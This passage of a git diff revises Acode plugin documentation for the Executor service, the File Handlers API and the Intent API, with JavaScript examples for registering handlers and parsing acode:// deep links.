+- Runs `kill -9 <pid>` as a separate process and **rejects** with `Failed to kill process: …` if `kill` exits non-zero — so killing a pid you do not own is an error, not a silent no-op.
 
 ## Service control
 
 ### `moveToForeground()` / `moveToBackground()`
 
-Moves the Executor service between foreground (shows the notification) and background.
+Moves the `Executor` service between foreground (shows the notification) and background.
 
-- Returns: `Promise<string>`.
+- Returns: `Promise<string>` — `"Service moved to foreground mode"` / `"Service moved to background mode"`.
+- **Foreground executor only.** `Executor.BackgroundExecutor` rejects with `"Unknown action: …"`.
 
 ### `stopService()`
 
-Stops the Executor service completely. This does **not** guarantee that all running processes are killed - the service just stops being active. The processes will keep running until stopped.
+Stops the `Executor` service completely. This does **not** guarantee that all running processes are killed - the service just stops being active. The processes will keep running until stopped.
 
-- Returns: `Promise<string>`.
+- Returns: `Promise<string>` resolving with `"Service stopped"`.
+- Unbinds the service, calls `context.stopService(TerminalService)`, and clears the cached messenger.
+- **Foreground executor only.** `Executor.BackgroundExecutor` rejects with `"Unknown action: stopService"`.
+
+::: warning `terminal.close()` calls this for you
+`TerminalManager.closeTerminal()` calls `Executor.stopService()` whenever the last terminal goes away. If your plugin is holding a long-lived `Executor` process, closing the user's terminal will drop the service out from under it.
+:::
 
 ## Advanced
 
@@ -145,21 +269,45 @@ Stops the Executor service completely. This does **not** guarantee that all runn
 
 Loads a native library from the given path.
 
-- Returns: `Promise<string>`.
-
-```js
-await Executor.loadLibrary('/path/to/library.so');
-```
+- Returns: a rejected `Promise` — always.
 
 > [!Warning]
 > `loadLibrary()` has been deprecated and is no longer supported on newer Acode versions.
 
+::: danger It does not "do nothing" — it rejects
+Both native classes short-circuit the action with an error and no `System.load` at all:
+
+```
+This feature is no longer supported. Loading native libraries directly from
+JavaScript is no longer allowed due to security reasons.
+```
+
+Do not call it, and do not wrap it in `try/catch` expecting a fallback.
+:::
+
 ### `setProotDebug(enabled)`
 
-Toggles proot debug output (used for the Alpine sandbox).
+Toggles proot debug output (used for the Alpine sandbox). Sets the **static** `ProcessManager.prootDebug` flag, which is shared by both executors and controls `PROOT_VERBOSE=2` in every subsequently spawned process.
+
+- Returns: `Promise<string>` — `"PRoot debug enabled"` / `"PRoot debug disabled"`.
+- Acode manages this from `settings.terminalSettings.prootDebug`; it calls it on **both** instances whenever AXS is (re)started, so any value you set is overwritten the next time a server terminal is created.
+
+## Gotchas <Badge type="tip" text="new" />
 
-- Returns: `Promise<string>`.
+- `acode.require("Executor")` is `undefined`. Use `globalThis.Executor` and null-check it.
+- `Executor.BackgroundExecutor` is a different native plugin: no `spawnStream`, no `moveToForeground`/`moveToBackground`, no `stopService`. Those calls reject.
+- Everything runs as `sh -c <command>`; `alpine: true` prepends `source $PREFIX/init-sandbox.sh `. There is no argv-array API except `spawnStream`.
+- There is **no** security filter here. `terminal.write()` blocks 23 dangerous line patterns; `execute()` does not.
+- `execute()` trims stdout and rejects on **any** non-zero exit code — a `grep` that legitimately finds nothing will reject.
+- `isRunning()` cannot distinguish "exited" from "not_found"; both are `false`.
+- `start()` streams by line, uncapped and without backpressure.
+- Foreground `listProcesses()` returns `[]` (not a pending promise) while the service is unbound.
+- `loadLibrary()` always rejects.
+- `setProotDebug()` is global and gets reset by Acode's terminal startup.
+- `stopService()` can be triggered by Acode itself when the last terminal closes.
+- `POST_NOTIFICATIONS` is requested by the native `Executor` plugin's own `initialize()` at app startup — not by your code, and not something you can suppress.
 
 ## Related APIs
 
 - Visual terminal sessions: [Terminal](./terminal.md)
+- Low-level device bridge (`window.system`): [System](./system.md)
\ No newline at end of file
diff --git a/docs/advanced-apis/file-handlers.md b/docs/advanced-apis/file-handlers.md
index 1c247f1..e9c34b4 100644
--- a/docs/advanced-apis/file-handlers.md
+++ b/docs/advanced-apis/file-handlers.md
@@ -1,6 +1,16 @@
 # File Handlers API
 
-Use this API to register custom open handlers for file extensions.
+Use this API to register custom open handlers for file extensions. A handler intercepts `openFile()` so your plugin — not the text editor — decides what happens.
+
+## Where the API lives <Badge type="tip" text="new" />
+
+| Access | Works? |
+| --- | --- |
+| `acode.registerFileHandler(id, options)` | ✅ |
+| `acode.unregisterFileHandler(id)` | ✅ |
+| `acode.require('fileTypeHandler')` | ❌ returns `undefined` |
+
+`src/lib/acode.js` imports the registry as a private module and never calls `this.define(...)` for it, so the registry is **not** exposed through `acode.require()`. The two `acode.*` methods are the entire plugin-facing surface. `getFileHandler(filename)`, `getHandlers()` and the underlying `Map` are internal.
 
 ## `acode.registerFileHandler(id, options)`
 
@@ -15,21 +25,207 @@ acode.registerFileHandler("com.example.svg-viewer", {
 });
 ```
 
-`options` fields:
+| Argument | Type | Description |
+| --- | --- | --- |
+| `id` | `string` | Unique handler id. Re-using a registered id **throws** |
+| `options.extensions` | `string[]` | Required, must be non-empty |
+| `options.handleFile` | `Function` | Required. Must be a function |
+
+These are the only two option keys that exist. Extra keys are silently ignored — there is no `icon`, `mimeType`, `priority`, `name` or `displayName` field, and the registry stores only `{extensions, handleFile}`.
+
+### Extension normalization
+
+```js
+ext.toLowerCase().replace(/^\./, "")
+```
+
+Each entry is lowercased and has **one** leading dot removed. So `"svgx"`, `".svgx"` and `".SVGX"` all normalize to `"svgx"`. `"..svgx"` would normalize to `".svgx"` and never match.
+
+Matching (`getFileHandler(filename)`) takes the **last** dot segment only:
+
+```js
+const ext = filename.split(".").pop().toLowerCase();
+```
+
+| Filename | Matched extension |
+| --- | --- |
+| `app.SVGX` | `svgx` |
+| `button.test.ts` | `ts` |
+| `.env` | `env` (a leading dot yields an empty first segment, so the dotfile *does* match) |
+
+::: warning Last segment only — not longest match
+`button.test.ts` matches a handler registered for `ts`, never one registered for `test.ts`. This is different from the icon-pack API, which does try the longest compound extension first.
+:::
+
+### `"*"` catch-all
+
+A handler whose `extensions` contains `"*"` matches **every** filename:
+
+```js
+acode.registerFileHandler("com.example.vault", {
+  extensions: ["*"],
+  handleFile: async (fileInfo) => { /* ... */ },
+});
+```
+
+## `handleFile(fileInfo)`
+
+Called by `openFile()` with a single object:
+
+| Field | Type | Description |
+| --- | --- | --- |
+| `name` | `string` | File name from `fs.stat()`, falling back to the tab filename, then the URI |
+| `uri` | `string` | Absolute file URL |
+| `stats` | `object` | The result of `fsOperation(uri).stat()` |
+| `readOnly` | `boolean` | `true` when `stats.canWrite === false` |
+| `options.cursorPos` | `{row, column}` | Cursor from the original open request |
+| `options.render` | `boolean` | Render hint from the original open request |
+| `options.onsave` | `Function` | Save hook from the original open request |
+| `options.encoding` | `string` | Encoding from the original open request |
+| `options.mode` | `string` | Language mode from the original open request |
+| `options.createEditor` | `(isUnsaved, text, detectedEncoding?) => void` | Escape hatch — build a normal editor tab from inside your handler |
+| `options.signal` | `AbortSignal` | Aborted when the open request is superseded |
+
+**Return value: none.** It is awaited purely for its side effects. Once it resolves, `openFile()` returns immediately and the normal text-editor, image, video and audio paths are **all skipped**.
+
+::: tip Delegating to the editor
+`options.createEditor(isUnsaved, text, detectedEncoding)` is the escape hatch, but **you must read the file yourself** — `text` is not supplied for you:
+
+```js
+const fs = acode.require('fs');
+const encoding = acode.require('settings').value.defaultFileEncoding;
+const text = await fs(uri).readFile(encoding);
+options.createEditor(false, text, encoding);
+```
+
+Calling `options.createEditor(false)` without text creates an editor tab with no content. Delegating this way also skips `recents.addFile(uri)`.
+:::
+
+### When is it called?
+
+`openFile()` runs the handler lookup right after `fs.stat()` and **before** any content-type branch:
+
+```js
+const customHandler = fileTypeHandler.getFileHandler(name);
+...
+if (customHandler) {
+  try {
+    await customHandler.handleFile({ name, uri, stats: fileInfo, readOnly, options: {...} });
+    return;
+  } catch (error) {
+    console.error(`File handler '${customHandler.id}' failed:`, error);
+    // non-external opens continue with the default handling
+  }
+}
+```
+
+Two important consequences:
+
+- If the file is **already open**, `openFile()` returns early (promoting the existing tab) and your handler is **not** called.
+- If `handleFile` **throws**, Acode logs `File handler '<id>' failed:` and **falls through to the default editor** — so a buggy handler degrades to a text tab rather than losing the file.
 
-- `extensions` (required): extension array. Dots are allowed and normalized.
-- `handleFile` (required): async function receiving file info.
+::: danger External intents
+When `openFile()` is called with `{external: true}` (an Android file intent, e.g. tapping a `.pdf` in another app), a handler failure is **re-thrown** instead of falling back. For those extensions Acode also *requires* a handler: `.pdf`, `.docx`, `.dotx`, `.xlsx`, `.xls`, `.ods`, `.pptx`, `.ppsx` and `.potx` open with `DOCUMENT_HANDLER_UNAVAILABLE` when no handler matches.
+:::
 
 ## `acode.unregisterFileHandler(id)`
 
-Removes a handler.
+Removes a handler. Unknown ids are ignored — the delete is unconditional, so it does not throw.
 
 ```js
 acode.unregisterFileHandler("com.example.svg-viewer");
 ```
 
+::: tip Clean up on unmount
+Nothing unregisters file handlers automatically. Call `acode.unregisterFileHandler(id)` from `acode.setPluginUnmount(id, ...)` or the handler leaks into the next load of your plugin.
+:::
+
+## Priority and overrides <Badge type="tip" text="new" />
+
+This is provable from the registry, and it is **first-registration-wins**:
+
+- `getFileHandler()` iterates `this.#handlers` — a `Map`, so in insertion order — and returns the **first** handler whose `extensions` include the matched extension or `"*"`.
+- Re-registering the same `id` throws `Handler with id '<id>' is already registered`. There is no "replace" path.
+- `unregister()` + `register()` therefore **moves you to the end** of the queue, which can hand priority to another plugin.
+
+So two plugins registering the same extension is a race won by whichever registered first; the loser's `handleFile` is simply never called.
+
 ## Notes
 
-- Handler ids must be unique.
-- Extensions are matched case-insensitively.
+- Handler ids must be unique — duplicate registration throws.
+- Extensions are normalized to lowercase with a single leading dot removed, and matched case-insensitively.
 - `"*"` can be used to match any extension.
+- Return nothing from `handleFile`. If you want a normal editor tab instead, read the file yourself and call `options.createEditor(false, text, encoding)`.
+
+## Complete example: a custom viewer <Badge type="tip" text="new" />
+
+```js
+// main.js
+if (window.acode) {
+  const id = 'com.example.markdown-preview';
+  const fs = acode.require('fs');
+  const page = acode.require('page');
+  const actionStack = acode.require('actionStack');
+  const encoding = acode.require('settings').value.defaultFileEncoding;
+
+  // Never inject raw file content into innerHTML.
+  const escape = (s) =>
+    s.replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;');
+
+  acode.registerFileHandler(id, {
+    // Dots are allowed and normalized away
+    extensions: ['mdx', '.md'],
+    handleFile: async ({ name, uri, readOnly }) => {
+      const source = await fs(uri).readFile(encoding);
+
+      const preview = page(name.replace(/\.mdx?$/i, ''), {
+        lead: tag('span', {
+          className: 'icon arrow_back',
+          onclick: () => preview.hide(),
+        }),
+      });
+
+      preview.appendBody(tag('pre', { textContent: source }));
+      if (readOnly) preview.appendBody(tag('small', { textContent: 'Read only' }));
+
+      preview.onhide = () => actionStack.remove(`${id}-preview`);
+      preview.on('show', () => preview.body.scrollTo(0, 0));
+
+      preview.show = () => {
+        if (preview.isConnected) return; // never push twice
+        actionStack.push({ id: `${id}-preview`, action: preview.hide });
+        app.append(preview);
+      };
+
+      preview.show();
+    },
+  });
+
+  acode.setPluginUnmount(id, () => {
+    acode.unregisterFileHandler(id);
+  });
+}
+```
+
+::: tip Pass `"*"` for an envelope handler
+If your plugin should claim files only when it recognises them, register `extensions: ['*']` and delegate when it does not:
+
+```js
+const fs = acode.require('fs');
+const encoding = acode.require('settings').value.defaultFileEncoding;
+
+acode.registerFileHandler('com.example.picky', {
+  extensions: ['*'],
+  handleFile: async ({ uri, name, options }) => {
+    if (!name.endsWith('.todo')) {
+      const text = await fs(uri).readFile(encoding);
+      options.createEditor(false, text, encoding);
+      return;
+    }
+    // ... your viewer ...
+  },
+});
+```
+
+Because resolution is first-registration-wins, an envelope handler registered early will shadow every later handler. Prefer narrow extensions.
+:::
\ No newline at end of file
diff --git a/docs/advanced-apis/intent.md b/docs/advanced-apis/intent.md
index 69fc7e8..00bb6dd 100644
--- a/docs/advanced-apis/intent.md
+++ b/docs/advanced-apis/intent.md
@@ -2,22 +2,34 @@
 
 The Intent API provides functionality to handle intents from other apps and implement custom URI scheme handling in Acode plugins.
 
+Verified against Acode **v1.13.5** (versionCode `1011`): `src/handlers/intent.js` in full, the module wrapper in `src/lib/acode.js` (line 394), the native intent JSON in `src/plugins/system/android/com/foxdebug/system/System.java` (`getIntentJson`), the manifest in `config.xml`, and the in-app consumer `src/pages/plugin/plugin.js`.
+
 ## Overview
 
 The Intent API allows plugins to:
-- Handle intents when Acode is opened from other apps
-- Process custom URI schemes in the format `acode://<module>/<action>/<value>`
-- Control intent behavior through event handlers
-- Enable deep linking and file sharing between applications
+- Handle `acode://` deep links that Acode dispatches as intents
+- React to custom URI schemes in the format `acode://<module>/<action>/<value>`
+- Suppress or short-circuit Acode's own handling with `preventDefault()` / `stopPropagation()`
+- Enable deep linking between applications
 
 For example, you could:
-- Open specific files directly from your file manager
-- Accept shared text content from messaging apps
-- Implement "Open in Acode" functionality in other apps
-- Create custom URI schemes for your plugin features
+- Deep-link into your plugin's own screens (`acode://myplugin/search/query`)
+- React to Acode's built-in deep links (`acode://plugin/install/<id>`)
+- Skip Acode's default behaviour when you want to handle a link yourself
+
+::: warning Compatibility note
+`intent` is only present when the running Acode version exports it. Check before use:
+
+```js
+const intent = acode.require('intent');
+if (!intent?.addHandler) {
+  // Older Acode without the intent module.
+}
+```
+:::
 
-::: warning Compatibility Note
-The Intent API is not supported in older versions of Acode. Always check if it's available before using.
+::: danger This API is **not** for shared files
+A file opened from a file manager, or shared from another app, **never reaches your intent handler.** See [What actually gets dispatched](#what-actually-gets-dispatched). Only `acode://` URLs produce an `IntentEvent`.
 :::
 
 ## Usage
@@ -28,106 +40,452 @@ The Intent API is not supported in older versions of Acode. Always check if it's
 const intent = acode.require('intent');
 ```
 
+The module has exactly two members, defined in `src/lib/acode.js`:
+
+```js
+const intent = {
+  addHandler: addIntentHandler,
+  removeHandler: removeIntentHandler,
+};
+```
+
 ### Methods
 
 #### addHandler
-Adds an intent handler function that will be called when intents are received.
+
+Appends a handler to a single module-level array.
 
 ```ts
-addHandler(handler: (event: IntentEvent) => void): void
+addHandler(handler: (event: IntentEvent) => void | Promise<void>): void
 ```
 
+- **Parameters:** `handler` — a function receiving the `IntentEvent`.
+- **Returns:** `undefined`. Nothing is validated; a non-function value is pushed and will throw when the intent arrives.
+- **Order:** handlers run in registration order, oldest first.
+- **Removal:** you must keep a reference to the exact function you passed, because `removeHandler` compares by identity (`handlers.indexOf(handler)`).
+
 #### removeHandler
-Removes a previously added intent handler.
+
+Removes the **first** matching handler.
 
 ```ts
 removeHandler(handler: (event: IntentEvent) => void): void
 ```
 
+- **Returns:** `undefined`. Removing a handler that was never added is a silent no-op — it does not throw.
+- Registering the same function twice and calling `removeHandler` once leaves one registration behind.
+
+```js
+const handler = (event) => { /* ... */ };
+intent.addHandler(handler);
+intent.removeHandler(handler);
+```
+
 ### The IntentEvent Object
 
-The handler receives an `IntentEvent` object with these properties:
+A fresh `IntentEvent` class instance is created per intent and shared by every handler in that dispatch.
 
-- `module` (string): The module name from the URI
-- `action` (string): The action to perform
-- `value` (string): Additional data value
+| Member | Type | Description |
+| --- | --- | --- |
+| `module` | `string` | First path segment of the `acode://` URL. `undefined` when the URL had fewer segments. |
+| `action` | `string` | Second path segment. `undefined` when absent. |
+| `value` | `string` | Third path segment. `undefined` when absent. |
+| `preventDefault()` | method | Marks the event default-prevented. Acode then skips **all** of its own built-in handling for this intent. |
+| `stopPropagation()` | method | Stops the dispatch loop — handlers registered after yours never run for this intent. |
+| `defaultPrevented` | getter | `boolean`, read-only. |
+| `propagationStopped` | getter | `boolean`, read-only. |
 
-And these methods:
+::: warning `value` is the raw third segment only — and it is never decoded
+Parsing is literally (`src/handlers/intent.js:32-33`):
 
-- `preventDefault()`: Prevents default intent handling
-- `stopPropagation()`: Stops other handlers from executing
+```js
+const path = url.replace("acode://", "");
+const [module, action, value] = path.split("/");
+```
+
+Three consequences:
+
+1. **Everything after the third `/` is discarded.** Destructuring stops at the
+   third name, so `acode://myplugin/open/a/b/c` gives `value === "a"`. There is
+   no `join`, no remainder, nothing — a **raw multi-slash URI can never survive**.
+2. **There is no URL-decoding, anywhere.** `%20` stays `%20`, and a `+` stays `+`.
+   Neither `src/handlers/intent.js` nor the native `getIntentJson`
+   (`System.java:2038` passes `intent.getDataString()` through verbatim) calls
+   `decodeURIComponent`. Decoding is **the plugin's job**.
+3. **Query strings and fragments are part of `value`.** `acode://myplugin/search/hello%20world`
+   arrives as the literal string `hello%20world`.
+
+So the two cases behave like this:
+
+| Link as delivered | `event.value` | What you must do |
+| --- | --- | --- |
+| `acode://myplugin/open/file%3A%2F%2F%2Fa%2Fb.txt` | `file%3A%2F%2F%2Fa%2Fb.txt` | `decodeURIComponent(value)` → `file:///a/b.txt` — **the only form that works** |
+| `acode://myplugin/open/file:///a/b.txt` | `file:` | Nothing — the path is already gone. This link cannot work. |
+
+`url.replace("acode://", "")` replaces only the first occurrence, so a nested `acode://` later in the string is preserved.
+:::
+
+::: danger Always build the value as one encoded segment
+There is no raw multi-slash form to fall back on. Construct the link as `` `acode://${module}/${action}/${encodeURIComponent(value)}` `` and decode with `decodeURIComponent(value)` in the handler.
+
+Guard the decode — `decodeURIComponent` **throws** `URIError` on a malformed escape such as a lone `%`, and neither the dispatch loop (`intent.js:41-45`) nor your own caller catches it.
+:::
+
+::: danger `preventDefault()` is ignored inside an async handler
+Handlers are invoked like this:
+
+```js
+for (const handler of handlers) {
+  handler(event);
+  if (event.defaultPrevented) defaultPrevented = true;
+  if (event.propagationStopped) break;
+}
+```
+
+`handler(event)` is called **without `await`**, and the loop inspects the flags immediately afterwards. If your handler is `async` and calls `event.preventDefault()` after an `await`, the flag is set too late: Acode has already decided not to suppress its default handling and has already run your later handlers. Call `preventDefault()` / `stopPropagation()` **synchronously**, before the first `await`.
+
+An `async` handler is otherwise fine — Acode never awaits it and never catches its rejection, so **you** must handle your own errors.
+:::
+
+## What actually gets dispatched
+
+Acode's `HandleIntent(intent)` only runs for the Android actions `VIEW`, `EDIT`, `SEND` and `SEND_MULTIPLE` (matched as the last dot-segment of `intent.action`, so `android.intent.action.SEND_MULTIPLE` becomes `SEND_MULTIPLE`).
+
+### `acode://` URLs go to your handler
+
+The URL is taken from `intent.fileUri || intent.data || intent.extras["android.intent.extra.STREAM"]`. If it starts with `acode://`, an `IntentEvent` is built and every registered handler is invoked.
+
+| URI | `module` / `action` / `value` | Who handles it |
+| --- | --- | --- |
+| `acode://auth/callback/...` | — | **Never dispatched.** Reserved by the native layer (`System.isReservedAuthIntent`) and additionally short-circuited in `handlers/intent.js`. A code you can rely on being free. |
+| `acode://plugin/install/<pluginId>` | `plugin` / `install` / `<pluginId>` | Acode opens its plugin details page. `value` must match `/^([a-z0-9.]+)$/` or nothing happens. Suppress it with `preventDefault()` to run your own install flow. |
+| `acode://plugin/purchased/<pluginId>` | `plugin` / `purchased` / `<pluginId>` | Acode's plugin page already listens for this after a browser checkout (`src/pages/plugin/plugin.js`). |
+| `acode://plugin/uninstall/<pluginId>` | `plugin` / `uninstall` / `<pluginId>` | Same — Acode's plugin page listens for this after an external refund flow. |
+| `acode://pro/<anything>` | `pro` / `<anything>` / — | Acode refreshes `config.HAS_PRO` from the server and hides the banner. No other effect. |
+| `acode://myplugin/<action>/<encoded value>` | `myplugin` / `<action>` / `<encoded value>` | **Yours.** Any module name is yours; nothing in Acode claims it. Build the third segment with `encodeURIComponent` — a raw multi-slash URI is truncated to `"file:"`. |
+
+Acode's own built-in `plugin/install` and `pro` handling runs **only if no handler called `preventDefault()`** — the check is `if (defaultPrevented) return;` before both blocks.
+
+::: tip Claim a module name Acode does not use
+The reserved names are just `auth`, `plugin` and `pro`. A plugin-specific module such as `acode://myplugin/...` collides with nothing.
+:::
+
+### Everything else never reaches your handler
+
+For any non-`acode://` URL, Acode does **not** build an `IntentEvent`. It filters `intent.uris` (or the URL) down to `content://` and `file://` entries, queues them, and opens them itself once files are restored and plugins have loaded:
+
+```js
+await openFile(uri, {
+  mode: "single",
+  render: true,
+  persistInSession: false,
+  external: true,
+});
+```
+
+This is the path used by:
+- `android.intent.action.VIEW` / `EDIT` with `file://` or `content://` data (the file manager)
+- `android.intent.action.SEND` / `SEND_MULTIPLE`, including `EXTRA_STREAM` and `ClipData`
+
+::: warning `event.module === 'file'` never happens
+There is no `'file'` module and no `'open'` action in the intent API. A shared or opened file never produces an `IntentEvent` — it is opened by Acode before your code can see it, so you cannot intercept it here at all. To influence how a shared file opens, register a [file handler](./file-handlers.md) instead.
+:::
 
-### Examples
+::: warning Files may need a document plugin
+With `external: true`, opening a `.pdf`, `.docx`, `.dotx`, `.xlsx`, `.xls`, `.ods`, `.pptx`, `.ppsx` or `.potx` without a registered document handler throws:
+
+```
+Error: Document handler unavailable
+code: "DOCUMENT_HANDLER_UNAVAILABLE"
+```
+
+Acode batches those failures and shows a dialog offering to open the Plugins page. This is the error path an earlier version of this page attributed to `openFile`; it lives in `src/lib/openFile.js` and is not something a plugin can suppress.
+:::
+
+### When handlers are registered
+
+Intent delivery waits for both startup phases. `processPendingIntents()` returns early until `sessionStorage.isfilesRestored === "true"` **and** `isInitialPluginLoadComplete()`. Registered file intents are queued in `pendingIntents` and drained one batch at a time.
+
+The `acode://` dispatch itself is **not** queued: `HandleIntent` runs handlers immediately, including very early in startup, before your plugin may have registered anything.
+
+::: warning Register your handler as early as possible
+`src/main.js` installs the native handler with `system.setIntentHandler(...)` and then calls `system.getCordovaIntent(...)` to replay the launch intent. If your `main.js` has not run `intent.addHandler(...)` by then, a cold-start deep link is simply lost. Register at the top level of `main.js`, not inside `acode.setPluginInit` or a `DOMContentLoaded` handler.
+:::
+
+## Opening files from an intent handler
+
+::: danger `editorManager.openFile()` does not exist
+Earlier versions of this page showed `editorManager.openFile(event.value)`. **There is no such method.** The exported `editorManager` object is defined at `src/lib/editorManager.js:3164` and exposes `getFile`, `switchFile`, `addFile`, `splitPane`, `revealRange`, `openPreviousEditorFromHistory` and so on — `openFile` is not among them. The `openFile` in that file is an internal import from `src/lib/openFile.js` and is **not** exposed to plugins:
+
+```js
+// src/lib/editorManager.js:102 — internal only
+import openFile from "lib/openFile";
+```
+
+Calling it throws `TypeError: editorManager.openFile is not a function`.
+:::
+
+`acode.exec("open-file", ...)` is **not** a substitute either — `src/lib/commands.js:435` implements it as *open the file browser picker*:
+
+```js
+async "open-file"() {
+  editorManager.editor.contentDOM.blur();
+  const FileBrowser = await loadFileBrowser();
+  FileBrowser("file").then(FileBrowser.openFile).catch(FileBrowser.openFileError);
+}
+```
+
+### Use `EditorFile` <Badge type="tip" text="corrected" />
+
+`acode.require("EditorFile")` is the supported way to open a path from a plugin. Constructing it registers the file with the editor; `load()` fills the session (reusing an in-flight load), and `render()` makes it active.
+
+```js
+const EditorFile = acode.require('EditorFile');
+
+async function openPath(uri) {
+  // Already open? Just focus the existing tab.
+  const existing = window.editorManager?.getFile(uri, 'uri');
+  if (existing) {
+    existing.makeActive();
+    return existing;
+  }
+
+  // `uri` is already decoded, so decode nothing a second time — a basename
+  // containing a literal "%" would make decodeURIComponent throw URIError.
+  const name = uri.split('/').pop() || 'untitled.txt';
+  const file = new EditorFile(name, {
+    uri,
+    render: true,
+  });
+
+  await file.load();
+  return file;
+}
+```
+
+Pass this a **decoded** URI. `event.value` arrives exactly as it sat in the deep link, so a link built the correct way —
+`acode://myplugin/open/file%3A%2F%2F%2Fa%2Fb.txt` — needs `decodeURIComponent(event.value)` first. A raw
+`acode://myplugin/open/file:///a/b.txt` cannot work at all: the parser stops at the third `/`, so `value` is just `"file:"`.
+
+`new EditorFile(filename, options)` accepts `uri`, `text`, `isUnsaved`, `mode`, `encoding`, `cursorPos`, `render`, `onsave`, `readOnly`, `paneId` and `persistInSession` in its options object. `acode.newEditorFile(filename, options)` is a convenience wrapper but **returns `undefined`**, so use `new EditorFile(...)` when you need the instance.
+
+::: tip `EditorFile` does not validate the URI
+Unlike `lib/openFile.js`, constructing an `EditorFile` does not call `fs.stat()` first. A bad `uri` surfaces later, from `load()` (a rejected promise) or from `saveFile`. Null-check `uri` yourself, and use `acode.require("fs")` first if you need to confirm the path exists.
+:::
+
+## Examples
 
 Basic intent handling:
+
 ```js
 const intent = acode.require('intent');
 
 const handler = (event) => {
-				const { module, action, value } = event;
+  const { module, action, value } = event;
 
-				// Optional: prevent default behavior
-				// event.preventDefault();
+  // Optional: prevent default behavior
+  // event.preventDefault();
 
-				// Optional: stop other handlers
-				// event.stopPropagation();
+  // Optional: stop other handlers
+  // event.stopPropagation();
 
-				console.log(`Intent received: ${module}/${action}/${value}`);
+  console.log(`Intent received: ${module}/${action}/${value}`);
 };
 
 // Register handler
-intent?.addHandler(handler);
+intent.addHandler(handler);
 
 // Later: remove handler if needed
-intent?.removeHandler(handler);
+intent.removeHandler(handler);
 ```
 
-File opening handler:
+Custom URI scheme handler:
+
 ```js
-const fileHandler = (event) => {
-				if (event.module === 'file' && event.action === 'open') {
-								// Open the file specified in event.value
-								editorManager.openFile(event.value);
-								event.preventDefault(); // Prevent default handling
-				}
+const intent = acode.require('intent');
+
+const pluginHandler = (event) => {
+  if (event.module !== 'myplugin') return;
+
+  // Synchronous: `preventDefault()` after an `await` is ignored by Acode.
+  event.preventDefault();
+  // Claim the intent so other plugins cannot also react to it.
+  event.stopPropagation();
+
+  // `value` is the RAW third path segment: it is NOT decoded, and anything
+  // after a further "/" was already dropped. The link must have been built as
+  // acode://myplugin/search/QUERY with encodeURIComponent(QUERY). The try/catch
+  // is needed because decodeURIComponent THROWS on a malformed escape.
+  let value = '';
+  try {
+    value = decodeURIComponent(event.value || '');
+  } catch {
+    return; // malformed percent-escape — nothing sensible to dispatch
+  }
+
+  switch (event.action) {
+    case 'search':
+      // acode://myplugin/search/QUERY
+      performSearch(value);
+      break;
+    case 'create':
+      // acode://myplugin/create/NAME
+      createNewFile(value);
+      break;
+  }
 };
 
-intent?.addHandler(fileHandler);
+intent.addHandler(pluginHandler);
 ```
 
-Custom URI scheme handler:
+Intercepting Acode's own install deep link:
+
 ```js
-const pluginHandler = (event) => {
-				if (event.module === 'myplugin') {
-								switch(event.action) {
-												case 'search':
-																// Handle search URI: acode://myplugin/search/query
-																performSearch(event.value);
-																break;
-												case 'create':
-																// Handle file creation: acode://myplugin/create/filename
-																createNewFile(event.value);
-																break;
-								}
-								event.preventDefault();
-				}
-};
+const intent = acode.require('intent');
+
+function onInstallIntent(event) {
+  if (event.module !== 'plugin' || event.action !== 'install') return;
 
-intent?.addHandler(pluginHandler);
+  // Suppress Acode opening its plugin page, and run our own flow.
+  event.preventDefault();
+
+  const pluginId = event.value;
+  myPlugin.installWithOwnUi(pluginId);
+}
+
+intent.addHandler(onInstallIntent);
 ```
 
-## Common Use Cases
+## Complete runnable example <Badge type="tip" text="new" />
 
-1. Opening specific files when launched from other apps:
-			- File managers can open files directly in Acode
-			- Handle shared files from other applications
+A plugin that owns the `myplugin` module: handles three deep links, opens files safely, and unregisters cleanly on unload. Plugins are loaded as **classic scripts**, so there are no `import` / `export` statements.
 
-2. Handling custom URI schemes for plugin functionality:
-			- Implement deep linking to specific plugin features
-			- Create custom commands accessible via URIs
-			- Enable cross-app integration workflows
+```js
+const PLUGIN_ID = 'com.example.plugin';
+const MODULE = 'myplugin';
+
+const intent = acode.require('intent');
+const EditorFile = acode.require('EditorFile');
+
+// Only these actions are meaningful in an acode://myplugin/... deep link.
+const ALLOWED = new Set(['search', 'open', 'create']);
+
+// Acode hands you `value` exactly as it appeared in the URL, so decoding is
+// your job — and decodeURIComponent THROWS on a malformed escape such as "%".
+function decodeValue(value) {
+  try {
+    return decodeURIComponent(value || '');
+  } catch (error) {
+    acode.toast('Malformed deep link');
+    return null;
+  }
+}
+
+async function openPath(uri) {
+  const existing = window.editorManager?.getFile(uri, 'uri');
+  if (existing) {
+    existing.makeActive();
+    return existing;
+  }
+
+  // `uri` is already decoded, so split on the last "/" and decode nothing.
+  const name = uri.split('/').pop() || 'untitled.txt';
+  const file = new EditorFile(name, { uri, render: true });
+  await file.load();
+  return file;
+}
+
+// How to BUILD a link that will actually survive the parser:
+//
+//   encodeURIComponent('file:///sdcard/Acode/notes.md')
+//     -> 'file%3A%2F%2F%2Fsdcard%2FAcode%2Fnotes.md'
+//   acode://myplugin/open/file%3A%2F%2F%2Fsdcard%2FAcode%2Fnotes.md
+//
+// Only then is `value` the full URI, and decodeURIComponent(value) rebuilds it.
+function buildLink(action, rawValue) {
+  return `acode://${MODULE}/${action}/${encodeURIComponent(rawValue)}`;
+}
+
+function handleIntent(event) {
+  // Ignore anything that is not ours — other plugins get their own chance.
+  if (event.module !== MODULE) return;
+  if (!ALLOWED.has(event.action)) return;
+
+  // Both calls are synchronous. Do this BEFORE any await.
+  event.preventDefault();
+  event.stopPropagation();
+
+  const value = decodeValue(event.value);
+  if (value === null) return;
+
+  try {
+    switch (event.action) {
+      case 'search':
+        runSearch(value);
+        break;
+
+      case 'open':
+        // acode://myplugin/open/<encodeURIComponent(uri)>
+        // `value` is RAW, so decode it — and the link must have been built with
+        // the URI in ONE percent-encoded segment. A raw
+        // `acode://myplugin/open/file:///a/b.txt` arrives as just "file:".
+        openPath(value).catch((error) => acode.toast(error.message));
+        break;
+
+      case 'create':
+        createFile(value);
+        break;
+    }
+  } catch (error) {
+    // The dispatch loop calls `handler(event)` with no try/catch, so a throw
+    // here escapes into Acode and aborts the remaining handlers.
+    acode.toast(String(error && error.message));
+  }
+}
+
+function runSearch(query) { /* your search */ }
+function createFile(name) { /* your file creation */ }
+
+// Register as early as possible: a cold-start deep link is dispatched before
+// a deferred init would have run.
+intent?.addHandler(handleIntent);
+
+// Clean up on plugin unload / disable / update.
+acode.setPluginUnmount(PLUGIN_ID, () => {
+  intent?.removeHandler(handleIntent);
+});
+```
+
+## Common Use Cases
 
